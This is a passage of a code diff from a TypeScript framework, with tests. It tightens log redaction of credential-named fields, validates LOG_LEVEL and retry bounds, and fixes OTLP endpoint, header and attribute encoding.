+ ])('an ordinary name stays readable: %s', (key) => { + expect(isRedactedKey(key)).toBe(false); + }); +}); diff --git a/packages/core/src/logger.test.ts b/packages/core/src/logger.test.ts index b1584ab34..7a2eae98b 100644 --- a/packages/core/src/logger.test.ts +++ b/packages/core/src/logger.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, test } from 'bun:test'; +import { afterEach, describe, expect, test } from 'bun:test'; // why: Bun ships no temp-directory API, and the browser chunk this suite builds must be written // somewhere that is not the source tree. import { mkdtemp } from 'node:fs/promises'; @@ -13,7 +13,7 @@ import { type Clock, frozenClock } from './clock'; import { ERROR_DOCS_URL } from './error-codes'; import { UltimateError } from './errors'; import type { LogLevel } from './logger'; -import { createLogger, LOG_LEVELS, REDACTED, redactKeys, setLogSink, setLogStream } from './logger'; +import { createLogger, LOG_LEVELS, REDACTED, setLogSink, setLogStream } from './logger'; function capture(level: 'trace' | 'info' = 'info') { const lines: Record[] = []; @@ -129,6 +129,42 @@ describe('logger', () => { expect(lines).toEqual([]); }); + // The same typo through the OTHER door. `LOG_LEVEL=verbose` fell back to `info` in silence, so + // an operator who asked for more got less and nothing said so, while `createLogger({ level })` + // refused the identical value. + describe('LOG_LEVEL', () => { + const previous = process.env['LOG_LEVEL']; + afterEach(() => { + if (previous === undefined) delete process.env['LOG_LEVEL']; + else process.env['LOG_LEVEL'] = previous; + }); + + test.each(['verbose', 'DEBUG', ' warn'])('%p is refused, naming the variable', (value) => { + process.env['LOG_LEVEL'] = value; + try { + createLogger(); + expect.unreachable(); + } catch (error) { + expect((error as { code?: string }).code).toBe('X_INVARIANT'); + expect(String((error as { fix?: string }).fix)).toContain('LOG_LEVEL='); + } + }); + + test('a declared level is honoured, and unset or EMPTY is info', () => { + process.env['LOG_LEVEL'] = 'warn'; + expect(createLogger().level).toBe('warn'); + process.env['LOG_LEVEL'] = ''; + expect(createLogger().level).toBe('info'); + delete process.env['LOG_LEVEL']; + expect(createLogger().level).toBe('info'); + }); + + test('an explicit level never reads the variable at all', () => { + process.env['LOG_LEVEL'] = 'verbose'; + expect(createLogger({ level: 'error' }).level).toBe('error'); + }); + }); + test('withLevel is the same door, so a child cannot widen what the parent refused', () => { const { logger } = capture(); expect(() => logger.withLevel('loud' as LogLevel)).toThrow( @@ -149,51 +185,6 @@ describe('logger', () => { expect(lines[0]).toMatchObject({ queue: 'default', attempt: 2 }); }); - test('redacts secret keys anywhere in the payload', () => { - redactKeys(['DATABASE_URL']); - const { logger, lines } = capture(); - logger.info('boot', { - DATABASE_URL: 'postgres://user:pw@host/db', - password: 'hunter2', - nested: { token: 'abc', keep: 'yes' }, - }); - expect(lines[0]).toMatchObject({ - DATABASE_URL: REDACTED, - password: REDACTED, - nested: { token: REDACTED, keep: 'yes' }, - }); - }); - - /** - * `isRedactedKey` lowercases the lookup, so three of the eight shipped defaults were stored - * camelCase and matched nothing — and those three are the exact field names on `OAuthTokens` - * (`accessToken`, `refreshToken`, `apiKey`). One `logger.info('token exchange', { tokens })` - * wrote a live access token into the log store for the full retention. - */ - test('every default redaction key actually matches the field it names', () => { - const { logger, lines } = capture(); - logger.info('token exchange', { - apiKey: 'ak_live_1', - accessToken: 'at_live_1', - refreshToken: 'rt_live_1', - api_key: 'ak_live_2', - access_token: 'at_live_2', - refresh_token: 'rt_live_2', - client_secret: 'cs_live_1', - id_token: 'idt_live_1', - private_key: 'pk_live_1', - session_token: 'st_live_1', - 'set-cookie': 'x_session=abc; HttpOnly', - keep: 'yes', - }); - const line = lines[0] ?? {}; - for (const [key, value] of Object.entries(line)) { - if (key === 'ts' || key === 'level' || key === 'msg' || key === 'keep') continue; - expect([key, value]).toEqual([key, REDACTED]); - } - expect(line['keep']).toBe('yes'); - }); - /** * A log line must never REPLACE the event it describes. `lifecycle.ts` logs the value a * shutdown hook threw and the value a readiness check threw — both caught, both arbitrary — so diff --git a/packages/core/src/logger.ts b/packages/core/src/logger.ts index b7d3d6368..a25b74cbb 100644 --- a/packages/core/src/logger.ts +++ b/packages/core/src/logger.ts @@ -54,11 +54,10 @@ export interface LoggerOptions { } /** - * LOWERCASE, always: `isRedactedKey` lowercases its lookup, so `apiKey`/`accessToken`/ - * `refreshToken` sat here for three releases matching nothing — and those are the exact field - * names on `@ultimat3/auth`'s `OAuthTokens`. Matching is exact-key and never substring, so a - * spelling that is not in this set is not redacted: both the camel and the snake wire spelling of - * each credential is listed. Add through `redactKeys()` (which lowercases) rather than here. + * The exact-key FAST PATH. LOWERCASE, always: `isRedactedKey` lowercases its lookup, so + * `apiKey`/`accessToken`/`refreshToken` sat here for three releases matching nothing — and those + * are the exact field names on `@ultimat3/auth`'s `OAuthTokens`. Add through `redactKeys()` (which + * lowercases) rather than here. A name this set misses still meets `CREDENTIAL_NAME` below. */ const redactedKeys = new Set([ 'password', @@ -81,15 +80,69 @@ const redactedKeys = new Set([ 'client_secret', 'privatekey', 'private_key', + // The framework's own columns (`@ultimat3/auth`): a hash is what an offline guess runs against. + 'passwordhash', + 'tokenhash', + 'keyhash', ]); +/** + * The second half, for the names no list can enumerate. Exact-key matching alone let every + * COMPOUND credential through — `currentPassword`, `mfaSecret`, `resetToken`, `recoveryCode` — and + * `@ultimat3/action`'s audit walk asks this same predicate, so each was persisted in clear. + * + * Tested against the key lowercased with `_` and `-` removed, so one pattern covers the camel, the + * snake and the header spelling. It names what BEARS a credential and nothing wider, because a + * redacted field is one an operator cannot correlate on: + * + * - `password` / `passphrase` anywhere — no ordinary field carries the word. + * - `secret` as the LAST word (`mfaSecret`, `webhookSecret`, `appSecrets`, `secretAccessKey`), so + * `clientSecretEnv` and `secretsPath` — a variable name and a path — stay readable. + * - a `token` is a bearer UNLESS its qualifier says it is not: fail closed, with the exceptions + * named. `idempotencyToken`, `pageToken`, `continuationToken`, `cursorToken`, `syncToken` are + * dedupe and paging keys an operator greps for; everything else ending in `token` — `resetToken`, + * `githubToken`, `NPM_TOKEN` — is redacted without a provider list to keep current. The PLURAL + * is the reverse: `maxTokens` / `inputTokens` are counts on every `@ultimat3/ai` usage line, so + * `tokens` is redacted only behind a bearer qualifier (`accessTokens`). + * - key MATERIAL by its qualifier (`apiKey`, `privateKey`, `signingKey`, `encryptionKey`, + * `masterKey`, `hmacKey`, `secretsKey`, `accessKey`, `retiredKeys`) and the id half of a key + * pair (`accessKeyId`). A LOOKUP key — `cacheKey`, `primaryKey`, `idempotencyKey` — and a key's + * own id (`signingKeyId`) carry no qualifier on this list and stay readable. + * - a value that EMBEDS a credential: `connectionString`, `dsn`, a registry `authConfig`, and the + * service URLs that carry `user:password@` (`databaseUrl`, `REDIS_URL`). A bare `url` does not. + * - the one-time codes by name. Never a `code` suffix: that is the error contract's own field. + * - a stored hash of any of them: it is what an offline guess runs against. + * + * Built from constant alternatives with no nested quantifier, so there is no input it backtracks on. + */ +const CREDENTIAL_NAME = new RegExp( + [ + 'passw(?:or)?d|passphrase', + 'secrets?$', + '(?:api|private|signing|encryption|master|hmac|secrets?|access|retired)keys?$|accesskeyid$', + '(?:token|key)hash(?:es)?$', + '(?): void { for (const key of keys) redactedKeys.add(key.toLowerCase()); } +/** + * The framework's ONE answer to "is this field a credential?" — the log line, the error monitor's + * envelope and `@ultimat3/action`'s audit row all ask it, so a value that is `[redacted]` in one + * cannot be plaintext in another. + */ export function isRedactedKey(key: string): boolean { - return redactedKeys.has(key.toLowerCase()); + const lower = key.toLowerCase(); + return redactedKeys.has(lower) || CREDENTIAL_NAME.test(lower.replace(/[_-]/g, '')); } /** @@ -224,7 +277,12 @@ function entryValue(source: Record, key: string, depth: number) } } -function redactFields(fields: LogFields): Record { +/** + * A caller's record made safe to SERIALISE and safe to SHIP: credentials replaced by key and by + * value, a bigint / cycle / hostile getter degraded per field. Exported for the one other sink + * that sends a caller's record off the box — `error-reporter-sentry.ts`. + */ +export function redactFields(fields: LogFields): Record { const out: Record = {}; const source = fields as Record; // `Object.keys` before the values, so the read of each value is its own guarded step: a field @@ -304,9 +362,18 @@ function timestamp(clock: Clock): string { */ function envLevel(): LogLevel { const raw = typeof process === 'undefined' ? undefined : process.env['LOG_LEVEL']; - return raw !== undefined && (LOG_LEVELS as readonly string[]).includes(raw) - ? (raw as LogLevel) - : 'info'; + // Unset and EMPTY are the same answer — `LOG_LEVEL=` is how a compose file spells "not set". + if (raw === undefined || raw === '') return 'info'; + // REFUSED, as `resolveLevel` refuses the same value from `createLogger({ level })`. It fell back + // to `info` in silence, so `LOG_LEVEL=verbose` — or `DEBUG`, the spelling half the ecosystem + // uses — gave an operator who asked for MORE lines fewer, and nothing said the variable was the + // reason. This runs at module init, so the refusal is the first thing the process prints. + assert( + (LOG_LEVELS as readonly string[]).includes(raw), + `LOG_LEVEL=${renderCauseValue(raw)} is not a log level`, + `set LOG_LEVEL=info (one of ${LOG_LEVELS.join(', ')}, lowercase), or unset LOG_LEVEL`, + ); + return raw as LogLevel; } /** diff --git a/packages/core/src/nearest-name.test.ts b/packages/core/src/nearest-name.test.ts index e625df920..88091fd2b 100644 --- a/packages/core/src/nearest-name.test.ts +++ b/packages/core/src/nearest-name.test.ts @@ -40,3 +40,20 @@ describe('unit · nearestName', () => { expect(nearestName('cat', ['mat', 'hat', 'bat'])).toBe('mat'); }); }); + +describe('unit · the cutoff scales with length', () => { + // Three edits is a typo in `migrate` and a different word in `db`: at a fixed cutoff every one- + // and two-letter input was "near" every short command, since replacing all of it costs ≤ 3. + test('a suggestion that shares nothing with the input is not a suggestion', () => { + expect(nearestName('a', ['db', 'gen'])).toBeUndefined(); + expect(nearestName('zz', ['db'])).toBeUndefined(); + expect(nearestName('zzz', ['gen'])).toBeUndefined(); + expect(nearestName('', ['db', 'gen'])).toBeUndefined(); + }); + + test('a short name one edit away still resolves', () => { + expect(nearestName('d', ['db', 'gen'])).toBe('db'); + expect(nearestName('dbb', ['db', 'gen'])).toBe('db'); + expect(nearestName('gem', ['db', 'gen'])).toBe('gen'); + }); +}); diff --git a/packages/core/src/nearest-name.ts b/packages/core/src/nearest-name.ts index f9cb11e33..00ccfbf95 100644 --- a/packages/core/src/nearest-name.ts +++ b/packages/core/src/nearest-name.ts @@ -27,7 +27,16 @@ const distance = (a: string, b: string): number => { const MAX_EDITS = 3; /** - * The nearest candidate within `MAX_EDITS`, or `undefined` when nothing is close enough. Ties keep + * The cutoff for one pair: `MAX_EDITS`, but never as many edits as the longer name has + * characters. A fixed 3 is a typo in `migrate` and a different word in `db` — replacing ALL of a + * one- or two-letter input costs at most its length, so `nearestName('a', ['db', 'gen'])` + * answered `db` with nothing typed in common. + */ +const cutoff = (input: string, candidate: string): number => + Math.min(MAX_EDITS, Math.max(input.length, candidate.length) - 1); + +/** + * The nearest candidate within its cutoff, or `undefined` when nothing is close enough. Ties keep * the FIRST candidate, which is the order the caller declared them in — `definePermissions([...])` * and a `CommandSpec` list are both authored orders, and a stable answer is what lets a test pin one. */ @@ -36,7 +45,7 @@ export const nearestName = (input: string, candidates: readonly string[]): strin let bestScore = MAX_EDITS + 1; for (const candidate of candidates) { const score = distance(input, candidate); - if (score < bestScore) { + if (score < bestScore && score <= cutoff(input, candidate)) { best = candidate; bestScore = score; } diff --git a/packages/core/src/otlp-metric-exporter.ts b/packages/core/src/otlp-metric-exporter.ts index addc974ce..ca88bf7b5 100644 --- a/packages/core/src/otlp-metric-exporter.ts +++ b/packages/core/src/otlp-metric-exporter.ts @@ -118,7 +118,7 @@ export interface OtlpMetricExporter extends MetricExporter { */ export function otlpMetricExporter(options: OtlpMetricExporterOptions = {}): OtlpMetricExporter { const url = otlpEndpoint('metrics', options.endpoint); - const headers = otlpHeaders(options.headers); + const headers = otlpHeaders(options.headers, process.env, 'metrics'); const timeoutMs = assertFiniteOtlpBound('timeoutMs', options.timeoutMs ?? 10_000); const send = options.fetch ?? globalThis.fetch; let startedAtMs = options.startedAtMs; diff --git a/packages/core/src/otlp-span-exporter.ts b/packages/core/src/otlp-span-exporter.ts index 586ca47bf..2a0f1b3d3 100644 --- a/packages/core/src/otlp-span-exporter.ts +++ b/packages/core/src/otlp-span-exporter.ts @@ -126,7 +126,7 @@ export interface OtlpSpanExporter extends SpanExporter { */ export function otlpSpanExporter(options: OtlpSpanExporterOptions = {}): OtlpSpanExporter { const url = otlpEndpoint('traces', options.endpoint); - const headers = otlpHeaders(options.headers); + const headers = otlpHeaders(options.headers, process.env, 'traces'); const maxBatchSize = assertFiniteOtlpBound('maxBatchSize', options.maxBatchSize ?? 512); const maxQueueSize = assertFiniteOtlpBound('maxQueueSize', options.maxQueueSize ?? 2048); const timeoutMs = assertFiniteOtlpBound('timeoutMs', options.timeoutMs ?? 10_000); diff --git a/packages/core/src/otlp.test.ts b/packages/core/src/otlp.test.ts index 04e8bbec0..080b090cb 100644 --- a/packages/core/src/otlp.test.ts +++ b/packages/core/src/otlp.test.ts @@ -189,3 +189,74 @@ describe('postOtlp', () => { }); }); }); + +describe('otlp · the generic endpoint is joined on the PATH', () => { + test('a query string no longer swallows the signal path', () => { + // String concatenation produced `http://collector:4318/?tenant=a/v1/traces` — a request to + // `/` whose query happens to end in the path the collector serves. + const env = { [OTLP_ENDPOINT_KEY]: 'http://collector:4318?tenant=a' }; + expect(otlpEndpoint('traces', undefined, env)).toBe('http://collector:4318/v1/traces?tenant=a'); + }); + + test('a base path and its trailing slashes are kept, once', () => { + const env = { [OTLP_ENDPOINT_KEY]: 'https://gw.example/otlp//?k=v#frag' }; + expect(otlpEndpoint('metrics', undefined, env)).toBe( + 'https://gw.example/otlp/v1/metrics?k=v#frag', + ); + }); +}); + +describe('otlpHeaders · a per-signal variable is honoured, as the endpoint and protocol are', () => { + const env = { + [OTLP_HEADERS_KEY]: 'api-key=generic', + OTEL_EXPORTER_OTLP_TRACES_HEADERS: 'api-key=traces-only,x-scope=t', + }; + + test('the signal-specific value replaces the generic one for that signal only', () => { + expect(otlpHeaders(undefined, env, 'traces')).toEqual({ + 'content-type': 'application/json', + 'api-key': 'traces-only', + 'x-scope': 't', + }); + expect(otlpHeaders(undefined, env, 'metrics')['api-key']).toBe('generic'); + }); + + test('a malformed escape names the variable it was read from', () => { + const bad = { OTEL_EXPORTER_OTLP_METRICS_HEADERS: 'api-key=%zz' }; + try { + otlpHeaders(undefined, bad, 'metrics'); + expect.unreachable(); + } catch (thrown) { + expect(isUltimateError(thrown) && thrown.code).toBe('X_OTLP_HEADERS_INVALID'); + expect(isUltimateError(thrown) && thrown.cause).toContain( + 'OTEL_EXPORTER_OTLP_METRICS_HEADERS', + ); + expect(isUltimateError(thrown) && thrown.cause).not.toContain('%zz'); + } + }); +}); + +describe('otlpAttributes · a number the wire cannot spell', () => { + test('intValue only for a safe integer; a larger integral number is a double', () => { + // `String(1e21)` is "1e+21", which is not an int64 — a validating collector rejects the batch. + expect(otlpAttributes({ big: 1e21, edge: Number.MAX_SAFE_INTEGER, neg: -3 })).toEqual([ + { key: 'big', value: { doubleValue: 1e21 } }, + { key: 'edge', value: { intValue: '9007199254740991' } }, + { key: 'neg', value: { intValue: '-3' } }, + ]); + }); + + test('a non-finite number is dropped, never `{"doubleValue":null}`', () => { + const attributes = otlpAttributes({ + nan: Number.NaN, + inf: Number.POSITIVE_INFINITY, + keep: 1.5, + list: [1, Number.NaN, 2] as readonly number[], + }); + expect(attributes).toEqual([ + { key: 'keep', value: { doubleValue: 1.5 } }, + { key: 'list', value: { arrayValue: { values: [{ intValue: '1' }, { intValue: '2' }] } } }, + ]); + expect(JSON.stringify(attributes)).not.toContain('null'); + }); +}); diff --git a/packages/core/src/otlp.ts b/packages/core/src/otlp.ts index 0c8324563..6c78a8f68 100644 --- a/packages/core/src/otlp.ts +++ b/packages/core/src/otlp.ts @@ -96,7 +96,10 @@ function parseEndpoint(signal: OtlpSignal, raw: string, perSignal: boolean, env: // The spec's own asymmetry, not ours: a per-signal endpoint is the full URL an operator chose, // while the generic one is a base the signal path is appended to. if (perSignal) return url.toString(); - return `${url.toString().replace(/\/+$/, '')}/v1/${signal}`; + // On the PATH, never on the string: `http://collector:4318?tenant=a` concatenated to + // `…/?tenant=a/v1/traces`, a request to `/` whose query merely ends in the receiver's path. + url.pathname = `${url.pathname.replace(/\/+$/, '')}/v1/${signal}`; + return url.toString(); } /** The endpoint an operator configured, or `undefined` when they configured none. */ @@ -157,32 +160,43 @@ export function otlpEndpoint( * and no fix. Refused instead, naming the variable and the header KEY: the value is the * collector's credential and a `cause:` is folded into a log line. */ -function decodeHeaderValue(key: string, raw: string): string { +function decodeHeaderValue(variable: string, key: string, raw: string): string { try { return decodeURIComponent(raw); } catch { throw new OtlpHeadersInvalidError({ - cause: `${OTLP_HEADERS_KEY} carries a malformed percent-escape in the "${key}" value, so the header cannot be decoded`, - fix: `set ${OTLP_HEADERS_KEY}=${key}=, where is what bun -e 'console.log(encodeURIComponent(process.argv[1]))' prints — or drop the stray % from the "${key}" value if it was meant literally`, + cause: `${variable} carries a malformed percent-escape in the "${key}" value, so the header cannot be decoded`, + fix: `set ${variable}=${key}=, where is what bun -e 'console.log(encodeURIComponent(process.argv[1]))' prints — or drop the stray % from the "${key}" value if it was meant literally`, meta: { header: key }, }); } } -/** `key=value,key2=value2`, percent-decoded — the spec's format for collector auth headers. */ +/** + * `key=value,key2=value2`, percent-decoded — the spec's format for collector auth headers. + * + * With a `signal`, `OTEL_EXPORTER_OTLP__HEADERS` REPLACES the generic variable for that + * signal, which is the spec's rule and the one `ENDPOINT` and `PROTOCOL` already followed here: + * only the generic one was read, so a collector that authenticates traces and metrics with + * different keys got the same key on both and rejected one of them. + */ export function otlpHeaders( explicit?: Readonly> | undefined, env: OtlpEnv = process.env, + signal?: OtlpSignal | undefined, ): Record { const headers: Record = { 'content-type': 'application/json' }; - const raw = env[OTLP_HEADERS_KEY]; + const specific = signal === undefined ? undefined : signalKey(signal, 'HEADERS'); + const variable = + specific !== undefined && (env[specific] ?? '').trim() !== '' ? specific : OTLP_HEADERS_KEY; + const raw = env[variable]; if (raw !== undefined) { for (const pair of raw.split(',')) { const index = pair.indexOf('='); if (index <= 0) continue; const key = pair.slice(0, index).trim().toLowerCase(); if (key === '') continue; - headers[key] = decodeHeaderValue(key, pair.slice(index + 1).trim()); + headers[key] = decodeHeaderValue(variable, key, pair.slice(index + 1).trim()); } } for (const [key, value] of Object.entries(explicit ?? {})) headers[key.toLowerCase()] = value; @@ -202,22 +216,39 @@ export interface OtlpKeyValue { readonly value: OtlpAnyValue; } -function anyValue(value: AttributeValue): OtlpAnyValue { +/** + * `undefined` for a number the wire cannot spell. `NaN` and `±Infinity` serialise as + * `{"doubleValue":null}`, and a validating collector rejects the WHOLE batch for it — `postOtlp` + * only warns, so one bad gauge silently cost every span beside it. Dropped, as a missing + * attribute is the honest reading of "not a number". + */ +function anyValue(value: AttributeValue): OtlpAnyValue | undefined { if (typeof value === 'string') return { stringValue: value }; if (typeof value === 'boolean') return { boolValue: value }; if (typeof value === 'number') { + if (!Number.isFinite(value)) return undefined; // `intValue` is a 64-bit field, so the JSON encoding spells it as a string. A float that - // happens to be integral is still a double to whoever queries it; `Number.isInteger` is the - // only signal available and matches what every other OTLP/JSON encoder does. - return Number.isInteger(value) ? { intValue: String(value) } : { doubleValue: value }; + // happens to be integral is still a double to whoever queries it; SAFE-integer is the signal, + // because past 2^53 `String(value)` is `"1e+21"` — exponent notation is not an int64. + return Number.isSafeInteger(value) ? { intValue: String(value) } : { doubleValue: value }; + } + const values: OtlpAnyValue[] = []; + for (const item of value) { + const encoded = anyValue(item); + if (encoded !== undefined) values.push(encoded); } - return { arrayValue: { values: value.map((item) => anyValue(item)) } }; + return { arrayValue: { values } }; } export function otlpAttributes( attributes: Readonly>, ): readonly OtlpKeyValue[] { - return Object.entries(attributes).map(([key, value]) => ({ key, value: anyValue(value) })); + const out: OtlpKeyValue[] = []; + for (const [key, raw] of Object.entries(attributes)) { + const value = anyValue(raw); + if (value !== undefined) out.push({ key, value }); + } + return out; } /** Epoch ms -> the string of nanoseconds OTLP/JSON wants, without losing precision to a float. */ diff --git a/packages/core/src/public-cause.test.ts b/packages/core/src/public-cause.test.ts new file mode 100644 index 000000000..823c3cc3d --- /dev/null +++ b/packages/core/src/public-cause.test.ts @@ -0,0 +1,41 @@ +// Single responsibility: pins the public-cause predicate — which 5xx codes may show their cause, +// that everything else is hidden by default, and that the app half is a registration, not a guess. +import { afterEach, describe, expect, test } from 'bun:test'; +import { + hasPublicCause as barrelHasPublicCause, + registerPublicCause as barrelRegisterPublicCause, +} from './index'; +import { hasPublicCause, registerPublicCause, resetPublicCauses } from './public-cause'; + +afterEach(() => { + resetPublicCauses(); +}); + +describe('hasPublicCause', () => { + test.each(['X_DRAINING', 'X_OVERLOADED', 'X_FLIGHT_GATE_OVERLOADED', 'X_TIMEOUT'])( + '%s is a refusal whose cause IS the instruction', + (code) => { + expect(hasPublicCause(code)).toBe(true); + }, + ); + + test.each(['X_DB_STATEMENT_FAILED', 'X_INVARIANT', 'X_APP_UNKNOWN', '', 'toString', '__proto__'])( + '%p is hidden — the default for every code nobody declared', + (code) => { + expect(hasPublicCause(code)).toBe(false); + }, + ); + + test('an app code becomes public by registration, and the reset withdraws only the app half', () => { + registerPublicCause('X_BILLING_PROVIDER_DOWN'); + expect(hasPublicCause('X_BILLING_PROVIDER_DOWN')).toBe(true); + resetPublicCauses(); + expect(hasPublicCause('X_BILLING_PROVIDER_DOWN')).toBe(false); + expect(hasPublicCause('X_TIMEOUT')).toBe(true); + }); + + test('the barrel exports the predicate by name, so every renderer imports the same one', () => { + expect(barrelHasPublicCause).toBe(hasPublicCause); + expect(barrelRegisterPublicCause).toBe(registerPublicCause); + }); +}); diff --git a/packages/core/src/public-cause.ts b/packages/core/src/public-cause.ts new file mode 100644 index 000000000..bfb8256eb --- /dev/null +++ b/packages/core/src/public-cause.ts @@ -0,0 +1,37 @@ +// Single responsibility: the ONE answer to "may a caller read this 5xx code's `cause`?". Moved down +// from `@ultimat3/http`'s `problem-meta.ts` because three renderers send an error off the box — the +// HTTP problem document, the MCP error data and the agent `tool_result` — and only the first asked. +// Tier 0, so `@ultimat3/mcp` and `@ultimat3/ai` (tier 4) can ask it without importing each other. + +/** + * The 5xx codes whose `cause` a caller may read. Every other 5xx document carries the code and the + * request id and a fixed sentence: `X_DB_STATEMENT_FAILED` has a status row, so the old "blank only + * what nobody classified" rule served the Postgres message and the SQL statement in a production + * 500. The framework's four are refusals whose cause IS the instruction — back off, retry. + */ +const FRAMEWORK_PUBLIC_CAUSE: ReadonlySet = new Set([ + 'X_DRAINING', + 'X_OVERLOADED', + 'X_FLIGHT_GATE_OVERLOADED', + 'X_TIMEOUT', +]); +const APP_PUBLIC_CAUSE = new Set(); + +/** Whether a 5xx document for `code` may carry its authored `cause`. */ +export const hasPublicCause = (code: string): boolean => + FRAMEWORK_PUBLIC_CAUSE.has(code) || APP_PUBLIC_CAUSE.has(code); + +/** + * The WRITE half, and not an app's door: an app declares a public cause through + * `registerProblemMeta({ CODE: { publicCause: true } })` in `@ultimat3/http`, which refuses a + * framework-owned code first and then calls this. The set lives here only so the predicate above + * has one table to read whichever renderer asks. + */ +export const registerPublicCause = (code: string): void => { + APP_PUBLIC_CAUSE.add(code); +}; + +/** Test seam. Production registers once at boot and never unregisters. */ +export const resetPublicCauses = (): void => { + APP_PUBLIC_CAUSE.clear(); +}; diff --git a/packages/core/src/registrar.test.ts b/packages/core/src/registrar.test.ts index 2562fd2f6..46383067b 100644 --- a/packages/core/src/registrar.test.ts +++ b/packages/core/src/registrar.test.ts @@ -8,6 +8,7 @@ import { type ModuleRegistrar, PRIMITIVE_FACTORIES, PRIMITIVE_KINDS, + PRIMITIVE_PACKAGES, primitiveRegistrar, type RegisteredPrimitive, registerPrimitiveRegistrar, @@ -167,4 +168,36 @@ describe('primitiveRegistrar', () => { expect(thrown?.code).toBe('X_REGISTRAR_MISSING'); expect(thrown?.fix).toBe('bun add @ultimat3/query'); }); + + // `@ultimat3/${kind}` named packages that do not exist for half the kinds: a primitive's kind + // is not its package, and a pasted `bun add @ultimat3/task` is a 404 from the registry. + test.each([ + ['task', '@ultimat3/jobs'], + ['job', '@ultimat3/jobs'], + ['mutator', '@ultimat3/action'], + ['route', '@ultimat3/render'], + ['entity', '@ultimat3/entity'], + ] as const)('the fix for a missing %s registrar names %s', (kind, pkg) => { + try { + primitiveRegistrar(kind); + expect.unreachable(); + } catch (error) { + expect((error as { fix: string }).fix).toBe(`bun add ${pkg}`); + } + registerPrimitiveRegistrar(kind, () => []); + try { + registerPrimitiveRegistrar(kind, () => []); + expect.unreachable(); + } catch (error) { + expect((error as { fix: string }).fix).toBe(`bun update ${pkg}`); + } + }); + + test('every kind maps to a real workspace package', async () => { + for (const kind of PRIMITIVE_KINDS) { + const name = PRIMITIVE_PACKAGES[kind].replace('@ultimat3/', ''); + const manifest = Bun.file(new URL(`../../${name}/package.json`, import.meta.url)); + expect([kind, await manifest.exists()]).toEqual([kind, true]); + } + }); }); diff --git a/packages/core/src/registrar.ts b/packages/core/src/registrar.ts index 5f2cfbf0d..a542c09cb 100644 --- a/packages/core/src/registrar.ts +++ b/packages/core/src/registrar.ts @@ -27,6 +27,23 @@ export const PRIMITIVE_KINDS = [ export type PrimitiveKind = (typeof PRIMITIVE_KINDS)[number]; +/** + * The package that ANNOUNCES each kind's registrar — a kind is not a package name. Both `fix:` + * lines below spliced `@ultimat3/${kind}`, so a missing `task` registrar told its reader to + * `bun add @ultimat3/task`, a package the registry has never had. A `Record` over the union, so a + * ninth kind fails to compile here before it can ship a fix that 404s. + */ +export const PRIMITIVE_PACKAGES = Object.freeze>({ + action: '@ultimat3/action', + entity: '@ultimat3/entity', + job: '@ultimat3/jobs', + mutator: '@ultimat3/action', + policy: '@ultimat3/policy', + query: '@ultimat3/query', + route: '@ultimat3/render', + task: '@ultimat3/jobs', +}); + /** One factory over one primitive: the export's name, the package that ships it, what it returns. */ export interface PrimitiveFactory { readonly factory: string; @@ -103,9 +120,9 @@ export function registerPrimitiveRegistrar(kind: PrimitiveKind, registrar: Modul code: 'X_REGISTRAR_CONFLICT', cause: `two different ${kind} registrars are loaded, so ${kind} primitives would split across two registries`, // One command, because a `fix:` is pasted verbatim: collapsing every range on the package - // to one resolved version is the repair. `bun pm why @ultimat3/` names the dependents - // when a range genuinely disagrees and the update cannot converge on its own. - fix: `bun update @ultimat3/${kind}`, + // to one resolved version is the repair. `bun pm why ` names the dependents when + // a range genuinely disagrees and the update cannot converge on its own. + fix: `bun update ${PRIMITIVE_PACKAGES[kind]}`, meta: { kind }, }); } @@ -127,7 +144,7 @@ export function primitiveRegistrar(kind: PrimitiveKind): ModuleRegistrar { throw new UltimateError({ code: 'X_REGISTRAR_MISSING', cause: `no ${kind} registrar is loaded, so ${kind} primitives cannot be registered`, - fix: `bun add @ultimat3/${kind}`, + fix: `bun add ${PRIMITIVE_PACKAGES[kind]}`, meta: { kind }, }); } diff --git a/packages/core/src/retry.test.ts b/packages/core/src/retry.test.ts index 652519bac..143be8b02 100644 --- a/packages/core/src/retry.test.ts +++ b/packages/core/src/retry.test.ts @@ -289,3 +289,62 @@ describe('retryDecision', () => { expect(retryDecision(policy, 1, coded('X_NOT_IMPLEMENTED')).stoppedBy).toBe('terminal'); }); }); + +describe('unit · a retry bound that is not a number is refused, never looped on', () => { + const policy = { attempts: 3, base: 10, max: 100, jitter: 'none' as const }; + + test.each([Number.NaN, Number.POSITIVE_INFINITY, -1, 2.5])( + 'attempts: %p refuses before the first try', + async (attempts) => { + // `attempt >= NaN` is false forever, so the loop this guards never ended. A CALL CAP and not + // a timeout: an unscreened loop spins on microtasks and a timer would never get to fire. + let calls = 0; + const { sleep } = recorder(); + const work = async (): Promise => { + calls += 1; + if (calls > 20) throw coded('X_NOT_IMPLEMENTED', { retry: 'terminal' }); + throw coded('X_DRAINING', { retry: 'retryable' }); + }; + try { + await retry(work, { ...policy, attempts }, { sleep }); + expect.unreachable(); + } catch (error) { + expect((error as UltimateError).code).toBe('X_INVARIANT'); + } + expect(calls).toBe(0); + }, + ); + + test('retryDecision refuses the same bound, so a hand-written loop cannot spin either', () => { + expect(() => retryDecision({ ...policy, attempts: Number.NaN }, 1, new TypeError('x'))).toThrow( + /attempts is NaN/, + ); + }); + + test.each([Number.NaN, Number.POSITIVE_INFINITY])( + 'timeBudgetMs: %p refuses — `elapsed > NaN` is false, so the budget would not exist', + async (timeBudgetMs) => { + let calls = 0; + const { sleep } = recorder(); + try { + await retry( + async () => { + calls += 1; + throw coded('X_DRAINING', { retry: 'retryable' }); + }, + { ...policy, timeBudgetMs }, + { sleep, now: () => 0 }, + ); + expect.unreachable(); + } catch (error) { + expect((error as UltimateError).code).toBe('X_INVARIANT'); + } + expect(calls).toBe(0); + }, + ); + + test('a whole budget and a whole attempt count still run', async () => { + const { sleep } = recorder(); + expect(await retry(async () => 'ok', { ...policy, timeBudgetMs: 0 }, { sleep })).toBe('ok'); + }); +}); diff --git a/packages/core/src/retry.ts b/packages/core/src/retry.ts index ac0f267c6..ed3306e45 100644 --- a/packages/core/src/retry.ts +++ b/packages/core/src/retry.ts @@ -6,6 +6,7 @@ import { type BackoffCurve, backoffDelay, type JitterMode, type Random } from './backoff'; import { systemClock } from './clock'; import { classifyThrown, type ErrorRetry, statedDelayMs } from './error-retry'; +import { finiteCount, finiteOption } from './finite-option'; export interface RetryPolicy { /** Total attempts INCLUDING the first. `attempts: 1` means no retry. */ @@ -63,6 +64,9 @@ export function retryDecision( error: unknown, random?: Random, ): RetryDecision { + // Screened HERE and not only in `retry()`: this function is exported so a caller can write its + // own loop, and `attempt >= NaN` is false for every attempt — the loop that asks it never ends. + const attempts = finiteCount('a retry policy', 'attempts', 